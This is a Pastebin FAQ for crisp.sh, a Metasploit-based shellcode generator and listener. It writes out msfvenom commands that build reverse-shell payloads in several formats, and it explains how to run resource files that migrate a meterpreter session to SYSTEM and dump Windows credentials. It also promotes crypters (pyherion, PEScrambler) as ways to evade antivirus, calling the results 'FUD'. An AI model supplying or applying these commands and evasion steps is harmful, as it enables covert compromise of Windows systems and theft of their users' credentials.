r00t-3xp10it

crisp.sh [shellcode generator]- FAQ file

Jan 9th, 2016
424
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
R 10.07 KB | None | 0 0
  1. ---
  2. -- CRISP.SH 1.0.7 - metasploit Shellcode generator/compiler/listenner
  3. -- Author: peterubuntu10@sourceforge.net  [ r00t-3xp10it ]
  4. -- HomePage: http://sourceforge.net/u/peterubuntu10/profile/
  5. -- Suspicious-Shell-Activity (SSA) RedTeam develop @2016
  6. ---
  7. ---
  8. -- [ DEPENDENCIES ]
  9. -- "crisp.sh will download/install all dependencies as they are needed"
  10. -- Zenity | Metasploit | GCC (compiler) | Pyinstaller (python-to-exe module)
  11. -- python-pip (pyinstaller downloader) | mingw32 (compile .EXE executables)
  12. ---
  13. ---
  14. ---
  15. -- [ HOW CRISP.SH WORKS ? ]
  16. -- The script will use msfvenom (metasploit) to generate shellcode
  17. -- in diferent languages ( c | python | ruby | dll | msi | java)
  18. -- and output it to the follow formats ( .c | .exe | .py | .rb | .dll | .php)
  19. -- after beeing compiled using gcc (gnu cross compiler) or mingw32 or
  20. -- pyinstaller to build the executable file, and then starts a multi-handler
  21. -- to recibe the remote connection (shell or meterpreter session)
  22. -- "P.S. some payloads are undetectable by AV soluctions!!!"
  23. ---
  24. ---
  25. -- [ HOW DOES MSFVENOM ACTUALLY BUILDS SHELLCODE ? ]
  26. -- The default way to generate a windows binarie payload (.exe)
  27. -- using msfvenom its achieved through -f flag (Output format)
  28. -- ----------------------------------------------------------------------------------------------------------------------------------
  29. -- msfvenom -p payload-name LHOST=127.0.0.1 LPORT=666 -f exe -o payload.exe
  30. -- ----------------------------------------------------------------------------------------------------------------------------------
  31. -- But msfvenom allow us to build shellcode in diferent formats
  32. -- like: asp, aspx, aspx-exe, dll, elf, exe, exe-small, hta-psh
  33. -- macho, osx-app, psh, vba, vba-exe, vba-psh, vbs, bash, c
  34. -- java, perl, powershell, python, ruby, sh, vbscript.
  35. -- The complete list can be accessed using the follow command:
  36. -- ---------------------------------------------------
  37. -- sudo msfvenom --help-formats
  38. -- ---------------------------------------------------
  39. -- now lets generate an simple shellcode to windows/shell/reverse_tcp
  40. -- and chosing powershell as output format "note that we will not
  41. -- use the flag -o (Save the payload) option, this way the shellcode
  42. -- generated will only displays in current terminal windows".
  43. -- ------------------------------------------------------------------------------------------------------------------------------------------
  44. -- msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f powershell
  45. -- ------------------------------------------------------------------------------------------------------------------------------------------
  46. -- using java as output format:
  47. -- ----------------------------------------------------------------------------------------------------------------------------------
  48. -- msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f java
  49. -- ----------------------------------------------------------------------------------------------------------------------------------
  50. -- using hex as output format:
  51. -- ----------------------------------------------------------------------------------------------------------------------------------
  52. -- msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f hex
  53. -- ----------------------------------------------------------------------------------------------------------------------------------
  54. ---
  55. ---
  56. ---
  57. -- [ BUILDING SHELLCODE USING MSFVENOM DOES NOT FLAG AV ?]
  58. -- Let's take Veil-Evasion framework as example to describe
  59. -- many of the technics used in this tool or others developers
  60. -- like: ReL1K, harmj0y, raphael mudge(raffi), etc, etc ...
  61. -- Lets describe veil-evasion python payloads (obfuscated)
  62. -- "this tool uses the same technic to build the final payload"
  63. -- 1 - veil uses msfvenom to build shellcode in C language
  64. -- 2 - injects the shellcode source code into one funtion writen
  65. --     in pyhton language (the funtion will execute the shellcode)
  66. -- 3 - then uses 'pyherion.py' crypter/obfuscater to obfuscate the
  67. --     source code in base64+AES random key (all together = FUD)
  68. -- FINAL NOTES: my tool (python -> pyherion) does the same thing!
  69. --
  70. ---
  71. -- [ WHAT ARE THE FILES INSIDE BINARIES FOLDER ? ]
  72. -- The shellcode generated can not be executed by its own
  73. -- it requires to be embedded into a funtion (example: python)
  74. -- to be executed in RAM, and if we chose to output a binarie
  75. -- file than many of the formats needs to be compiled first,
  76. -- So the files inside '/crispy/shell/binaries' are funtions
  77. -- previous writen to be embedded with shellcode to serve as
  78. -- example how the shellcode its embedded into one funtion.
  79. ---
  80. ---
  81. -- [  HOW DO I USE FAST_MIGRATE.RC FILE ?]
  82. -- fast_migrate.rc its a post-exploitation resource file
  83. -- to elevate the current session (meterpreter) to nt
  84. -- authority/system and migrate to wininit.exe priviliged
  85. -- process, some modules in crisp.sh will pop up an terminal
  86. -- windows so its advice to migrate fast to another process
  87. -- this can be acomplish by issue the follow command:
  88. -- ----------------------------------------------------------------------------------------------------------------------------------
  89. -- meterpreter > resource /home/<username>/crispy/shell/bin/fast_migrate.rc
  90. -- ----------------------------------------------------------------------------------------------------------------------------------
  91. ---
  92. ---
  93. -- [ HOW DO I USE CRED_DUMP.RC FILE ? ]
  94. -- cred_dump.rc its a post-exploitation resource file
  95. -- to dump credentials (passwords/tokens) of target system
  96. -- "only works againts a windows system" and it can be run
  97. -- using the follow command againts a open meterpreter session:
  98. -- ----------------------------------------------------------------------------------------------------------------------------------
  99. -- meterpreter > resource /home/<username>/crispy/shell/bin/cred_dump.rc
  100. -- ----------------------------------------------------------------------------------------------------------------------------------
  101. ---
  102. ---
  103. -- [ WHAT IS TEACHER_CONSOLE.SH SCRIPT ? ]
  104. -- teacher_console.sh its a script in bash with some exercisses in
  105. -- building shellcode outputs to better teach how to generate shellcodes
  106. -- using msfvenom framework, it will display all msfvenom output formats,
  107. -- asks to user what port,host, output format and will build shellcode
  108. -- into teacher_console.sh terminal windows.
  109. ---
  110. ---
  111. ---
  112. -- [ WHY PYINSTALLER DOES NOT WORK UNDER MY DISTRO ? ]
  113. -- The pyinstaller that crisp.sh uses its to linux distros
  114. -- (diferent from veil framework that uses wine to run it)
  115. -- and this version does not run under 'root user account'
  116. -- (kali users are root users by default), in other linux
  117. -- distros i have bypassed the restriction by running the
  118. -- pyinstaller using 'normal user account' with the follow
  119. -- ------------------------------------------------------
  120. -- command: su $user -c pyinstaller
  121. -- ------------------------------------------------------
  122. ---
  123. ---
  124. ---
  125. -- [ HOW CAN I USE PESCRAMBLER.EXE ? ]
  126. -- PEScrambler.exe its a windows binarie executable file
  127. -- and like pyinstaller does not run under 'root user acc'
  128. -- if you wish to use it then open an terminal(normal user)
  129. -- and issue the follow command on it:
  130. -- -----------------------------------------------------------------------
  131. -- wine pescrambler.exe -i abc.exe -o new.exe
  132. -- -----------------------------------------------------------------------
  133. -- (pescrambler.exe does not compile payloads to .exe format
  134. -- it will take an executable.exe and obfuscate the sourcecode
  135. -- to better evade AV detection rate (not very effective now)
  136. ---
  137. ---
  138. ---
  139. -- [ DESCRIPTION OF NATIVE CRYPTERS/COMPILERS ]
  140. -- pyherion.py = Python 'crypter' that builds an dynamic AES/base64
  141. -- encoded launcher (with a random key) that's decoded/decrypted
  142. -- in memory (RAM) and then executed, 'evading AV detection'.
  143. -- ------------------------------------------------------------------------------------
  144. -- sudo ./pyherion.py file-to-crypt.py output-name.py
  145. -- ------------------------------------------------------------------------------------
  146. --
  147. -- PEScrambler.exe =  crypter to obfuscate an existing .exe
  148. -- (run it using WINE under linux distros)
  149. -- ---------------------------------------------------------------------------------------------------
  150. -- su USERNAME -c wine pescrambler.exe -i abc.exe -o new.exe
  151. -- ---------------------------------------------------------------------------------------------------
  152. --
  153. -- pyinstaller.py = compile an existing python file into one .exe
  154. -- crisp.sh will download/install pyinstaller into your distro
  155. -- ----------------------------------------------------------------------------------------------------------------------
  156. -- su USERNAME -c pyinstaller --noconsole --onefile file-to-be-compiled.py
  157. -- ----------------------------------------------------------------------------------------------------------------------
  158. --
  159. -- gcc = gnu cross compiler to build unix executable files
  160. -- crisp.sh will download/install gcc into your distro
  161. -- ---------------------------------------------------------------------------------------------------------------------------
  162. -- gcc -fno-stack-protector -z execstack file-to-be-compiled.c -o output-name
  163. -- ---------------------------------------------------------------------------------------------------------------------------
  164. --
  165. -- mingw32 = cross compiler to build .exe executable files
  166. -- crisp.sh will download/install mingw32 into your distro
  167. -- ---------------------------------------------------------------------------------------------------------------------------
  168. -- i586-mingw32msvc-gcc file-to-be-compiled -o output-name.exe -mwindows
  169. -- ---------------------------------------------------------------------------------------------------------------------------
  170. ---
  171.  
  172.  
  173. ---
  174. -- [ SPECIAL THANKS TO ]:
  175. -- HD Moore (metasploit father) | Nick Harbour (PEScrambler.exe)
  176. -- @harmj0y (pyherion) | @G0tmi1k @chris truncker @harmj0y (ruby_stager)
  177. -- ReL1K (pyinstaller) | astr0baby (reflective fud dll injection method)
  178. -- and offcouse me ^_^ | happy hacking, and stay safe...
  179. ----
  180. EOF
Add Comment
Please, Sign In to add comment